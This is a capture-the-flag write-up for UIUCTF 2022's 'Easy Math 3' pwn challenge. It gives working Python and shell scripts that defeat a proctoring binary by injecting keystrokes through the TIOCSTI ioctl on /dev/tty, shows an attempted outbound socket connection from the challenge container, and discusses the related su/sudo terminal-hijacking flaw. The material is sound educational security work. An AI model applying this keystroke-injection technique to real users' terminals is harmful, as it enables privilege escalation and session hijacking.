# Easy Math 3 ![](https://i.imgur.com/CtGcFKI.jpg =x300) _"student wearing an eyepatch taking a proctored math exam, cartoon style"_ Writeup by: Kevin He (name on team: `cupr1c`) Team: Phiat Lux ## Overview - CTF: UIUCTF 2022 - Category: Pwn - Points: 426 - Solves: 12 This is the most difficult among the three challenges in the "Easy Math" series. The idea behind Easy Math 1,2,3 is that you are presented with a "math exam" (implemented as a set-UID binary `easy-math`) to multiply small numbers. The math is the easy part. The hard part is that there are 10000 questions and it is infeasible to manually do it (and indeed impossible for Easy Math 2,3 as we will see), and the binary detects stdin redirection to thwart automated "cheating" scripts. ## Attachments ### Local Setup `easy-math.c`, the source code of the set-UID binary on the remote side can be found in [my Gist](https://gist.github.com/kevin-he-01/4fe2f02204e31500e4ea6ad318164300). ### Remote Connection details :::warning :warning: The infrastructure is likely going to be down a week past the competition is over, so don't expect that you will actually be able to connect. Download files from my gist above if you would like to reproduce the infrastructure. ::: - Easy Math 1: `ssh ctf@easy-math.chal.uiuc.tf` password is `ctf` - Easy Math 2: `ssh ctf-part-2@easy-math.chal.uiuc.tf` password is also `ctf` - Easy Math 3: `ssh ctf-part-3@easy-math.chal.uiuc.tf` password is `6d49a6fb` :::info I personally like using `sshpass` instead so I can integrate the commands into a script easily. To connect to those challenges, I used these commands instead: ``` sshpass -p ctf ssh ctf@easy-math.chal.uiuc.tf sshpass -p ctf ssh ctf-part-2@easy-math.chal.uiuc.tf sshpass -p 6d49a6fb ssh ctf-part-3@easy-math.chal.uiuc.tf ``` My solve scripts may require you to have the [sshpass](https://sourceforge.net/projects/sshpass/) command installed. It can be easily installed on Debian-like systems with ``` sudo apt install sshpass ``` ::: :::danger :rotating_light: **Do not** use `sshpass` with the `-p` flag to pass secret passwords to the SSH servers you care about. On a multi-user system, command line arguments of every process can be extracted easily by **any** user on the system using `ps`. Here it is fine since the SSH account is supposed to be public. ::: ## Solution Even though this is a writeup for Easy Math 3, I will explain how I developed my exploit progressively starting with Easy Math 1. ### Easy Math 1 Running SSH on Easy Math 1 gives: ``` $ ssh ctf@easy-math.chal.uiuc.tf ctf@easy-math.chal.uiuc.tf's password: == proof-of-work: disabled == ctf@test-center:~$ ls README easy-math easy-math.c flag ctf@test-center:~$ ./easy-math Welcome to the MATH 101 final exam. Checking your student ID... The test begins now. You have three hours. Question 1: 3 * 1 = 3 Question 2: 14 * 0 = 0 Question 3: 1 * 8 = 8 Question 4: 15 * 6 = bad You have failed the test. ``` If you try to redirect stdin, the binary detects it: ``` ctf@test-center:~$ echo -n 42 | ./easy-math Welcome to the MATH 101 final exam. Checking your student ID... The proctor kicks you out for pretending to be a student. ctf@test-center:~$ ./easy-math < /dev/null Welcome to the MATH 101 final exam. Checking your student ID... The proctor kicks you out for pretending to be a student. ``` Looking at the source code of [easy-math.c](https://gist.github.com/kevin-he-01/4fe2f02204e31500e4ea6ad318164300#file-easy-math-c), specifically the "Check your student ID..." part, I found that the binary checks if stdin is the same as the original terminal (stdin of PID 1, the root process in the container): ```c=29 int check_id() { printf("Checking your student ID...\n\n"); sleep(1); struct stat real, given; if (stat("/proc/1/fd/0", &real)) return 1; if (fstat(0, &given)) return 1; if (real.st_dev != given.st_dev) return 1; if (real.st_ino != given.st_ino) return 1; return 0; } ``` For now the easiest solution appears to be hiding my solve script locally, since the SSH server cannot detect anything on the client side. It is a nice exercise to write such a script, which I will include in a spoiler below: :::spoiler Solve script for Easy Math 1 ```python= from typing import Any from pwn import * context.log_level = 'debug' p = process(['sshpass', '-p', 'ctf', 'ssh', 'ctf@easy-math.chal.uiuc.tf']) send: Any = p.sendline send(b'./easy-math') p.recvuntil(b'The test begins now. You have three hours.') for i in range(10000): p.recvuntil(': ') fn = int(p.recvuntil(' * ', drop=True)) sn = int(p.recvuntil(' = ', drop=True)) print(fn, sn) send(str(fn * sn).encode()) p.interactive() ``` ::: <p></p> After waiting for the script to finish [^1], we are greeted with the flag and a message telling you that this solution will not work for Easy Math 2 or 3: ```! Nice job! Now, the question is, did you do it the fun way, or by hiding behind your ssh client? Part 1 flag: uiuctf{now do it the fun way :D} To solve part 2, use `ssh ctf-part-2@easy-math.chal.uiuc.tf` (password is still ctf) This time, your input is sent in live, but you don't get any output until after your shell exits. ``` ### Easy Math 2 and 3 For easy math 2 and 3, `ssh` will no longer echo back anything, and you must type all the commands blindfolded. This is intended to force you to resort to automated solutions that run entirely on the remote machine [^2], and carefully avoid being caught _cheating_ by the proctor. #### The first (failed) attempt I cannot think of any immediate way to solve these challenges without redirecting input. The key thing that prevents us from adapting the solution from Easy Math 1 is that a local solve script cannot get any information on what the questions are on the remote side, since the exam is blindfolded. The usage of a _cryptographically strong_ `/dev/urandom` device prevents the script from predicting the questions also. The first thing I tried is to see if I can leak any information out of the "test center" through side-channels other than standard output. My first idea is to "phone home" via the network. Since there is no `ping`, `curl`, `ip`, or `ifconfig` command installed on the SSH remote, I have to resort to Python to check if there is any network connectivity: ``` ctf@test-center:~$ python3 Python 3.6.9 (default, Jun 29 2022, 11:45:57) [GCC 8.4.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>> import socket >>> s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) >>> s.connect(('93.184.216.34', 80)) # 93.184.216.34: IP of www.example.com, TCP/80: HTTP Traceback (most recent call last): File "<stdin>", line 1, in <module> OSError: [Errno 101] Network is unreachable ``` ![](https://i.imgur.com/Cyywf87.png =x300) _"no cell phones sign on a wall"_ Guess my exploit cannot phone home at the test center, which makes sense, so I decided to give up this approach. #### The second (successful) attempt Now let's look for an "honest" solution that runs entirely on the remote side (doing what the challenge author calls the _fun_ way). It would be nice if there is a way to send input directly to the raw terminal device, since that would allow me to pretend to be the "student" without redirecting input, so the "proctor" would not notice. The terminal in Linux is represented by the `/dev/tty` device. As long as the SSH session actually allocates a TTY, stdin (FD 0) and stdout (FD 1) of an interactive process defaults to `/dev/tty` unless redirected. Reading from `/dev/tty` will read stuff from the terminal user, and writing to `/dev/tty` will write stuff on the terminal screen. This way stdin and stdout just work auto-magically for a process. However, we are looking for a way to _write_ to the terminal _input_, which is not achieved by either `read()` or `write()` on `/dev/tty`. It turns out there is another system call designed specifically to manipulate terminal devices: `ioctl()`. I remembered once reading about [a vulnerability](https://ruderich.org/simon/notes/su-sudo-from-root-tty-hijacking) in `su`/`sudo` [^3], where an unprivileged user (after being impersonated by a superuser using `su`/`sudo`) can take her revenge and inject malicious keystrokes into the terminal using the `TIOCSTI` `ioctl` on `/dev/tty`. Normally the keystrokes go into the user's own processes, but if the user process decides to exit, the keystrokes goes to the terminal of the _superuser_, who is likely running a shell! This is exactly what we are looking for: by writing input with the terminal while the `easy-math` binary is running, we can inject keystrokes to answer the questions. In addition, since we are running on the remote side, and unlike it does for stdin, `easy-math` does nothing to check that stdout goes to the terminal, so we can pipe its output to our malicious script like this: ```bash ./easy-math | python3 solve.py ``` This allows our malicious script full control over both the output and input of `easy-math`. #### The Attack Fortunately, despite being a very high level language, Python has a rich API for system calls. To perform the `ioctl` syscall, we can use the `fcntl` module and even get constants from `termios`. Other people have approached this by compiling a C binary that does the system call, which adds the overhead of process creation and can potentially slow down the solve. By modifying the solve script of "Easy Math 1" (change where the I/O goes), I made the Python script to be run on the remote machine: :::spoiler `solve.py` ```python= import fcntl, termios import sys from typing import IO pout = sys.stdin # Read a single line from stdout of ./easy-math def readline(): line = pout.readline() if line == '': raise EOFError return line tty = open('/dev/tty', 'rb') # Send string into stdin of ./easy-math def send(s: str): for c in s: fcntl.ioctl(tty, termios.TIOCSTI, c.encode()) readline() readline() readline() def recvuntil(io: IO[str], dc: str) -> str: def chars(): while True: c = io.read(1) if c == '': raise EOFError yield c if c == dc: break return ''.join(chars()) for i in range(10000): recvuntil(pout, ':') pout.read(1) # space line = recvuntil(pout, '=') pout.read(1) # space star = line.find(' * ') eq = line.find(' =') fn = line[:star] sn = line[star+3:eq] send(str(int(fn) * int(sn)) + '\n') # Make sure to dump the flag. The most important thing to do in a CTF # Will eventually throw EOFError but we don't care while True: print(readline()) ``` ::: <p></p> Then we have to send this file to the SSH remote and pipe `./easy-math` to it, I decided to write a script that does exactly this in a fully automated fashion: :::spoiler `connect.sh` ```bash= #! /bin/sh # Use a token that DOES NOT show up in your solve.py # See this tutorial on bash here strings: https://tldp.org/LDP/abs/html/x17837.html token='HERE' # Output the commands to send to the SSH shell gen_cmds () { echo "tee /tmp/solve.py << $token" cat solve.py # Include the **contents** of solve.py echo "$token" echo './easy-math | python3 /tmp/solve.py; exit' } # Must use the -tt flag to FORCE ssh to allocate a TTY on the remote side # (even if the local stdin is redirected), # since the exploit depends on the availability of /dev/tty # Uncomment for PART 3: gen_cmds | sshpass -p 6d49a6fb ssh -tt ctf-part-3@easy-math.chal.uiuc.tf # Uncomment for PART 2: # gen_cmds | sshpass -p ctf ssh -tt ctf-part-2@easy-math.chal.uiuc.tf ``` ::: <p></p> Some explanations for that script: `gen_cmds` generates the commands to be sent to SSH. One can try modifying the script to just run `gen_cmds` without piping to see what commands it generates. `tee <file>` is a trick where it reads from standard input and writes to both stdout and the file. It behaves like a non-interactive text editor and is useful in automated scripts. There is a feature in bash called [here strings](https://tldp.org/LDP/abs/html/x17837.html). It is a neat way to specify the boundary between stdin of the `tee` command and subsequent commands, since sending the EOF character `^D` can be difficult to do non-interactively. #### The Flag Running `connect.sh` returns the :triangular_flag_on_post: in a few seconds (which is _orders of magnitude faster_ than the solution for easy math 1 shown above!). The numbers are the answers to the math questions and will change every time: ``` $ ./connect.sh ... 28 18 63 uiuctf{file descriptors are literally magic} Traceback (most recent call last): File "/tmp/solve.py", line 51, in <module> print(readline()) File "/tmp/solve.py", line 12, in readline raise EOFError EOFError logout --- Connection to easy-math.chal.uiuc.tf closed. ``` Looks like this is an unintended solution as we used no magic about file descriptors. The same technique can be used to solve Easy Math 2. A list of file captured this way is here: :::info Easy Math 1: `uiuctf{now do it the fun way :D}` Easy Math 2: `uiuctf{excellent execution}` Easy Math 3: `uiuctf{file descriptors are literally magic}` ::: ## Thoughts The `su`/`sudo` vulnerability inspired me to make the pwn challenge [HAXLAB S](https://github.com/acmucsd/sdctf-2021/tree/main/pwn/haxlab-s) for SDCTF 2021, where the basic idea is that via `seccomp` rules one is restricted from doing anything except `read`, `write`, and `ioctl` on already open file descriptors. It is interesting how often the `TIOCSTI` feature can be abused to create vulnerabilities, such as this [bubblewrap](https://nvd.nist.gov/vuln/detail/CVE-2017-5226) one, since developers of sandboxes generally assume the terminal is trusted. OpenBSD --- a very security-focused OS --- decided to [remove this dangerous `ioctl` altogether](https://undeadly.org/cgi?action=article;sid=20170701132619) so solve the root cause. Unfortunately, this is where Linux chooses to maintain backward compatibility over security. [^1]: It took more than 10 minutes for me but YMMV since the time greatly depends on the network latency/ping as your script runs locally and is essentially playing ping-pong with the server [^2]: Easy Math 2 actually has an unintended solution that allows solving it in a similar way as Easy Math 1. This is "patched" in Easy Math 3 [^3]: As far as I know this severe vulnerability --- which can easily result in privilege escalation on multi-user systems --- is still essentially _unpatched_ (!) in most Linux distributions without the use of special CLI flags due to concerns on backward compatibility.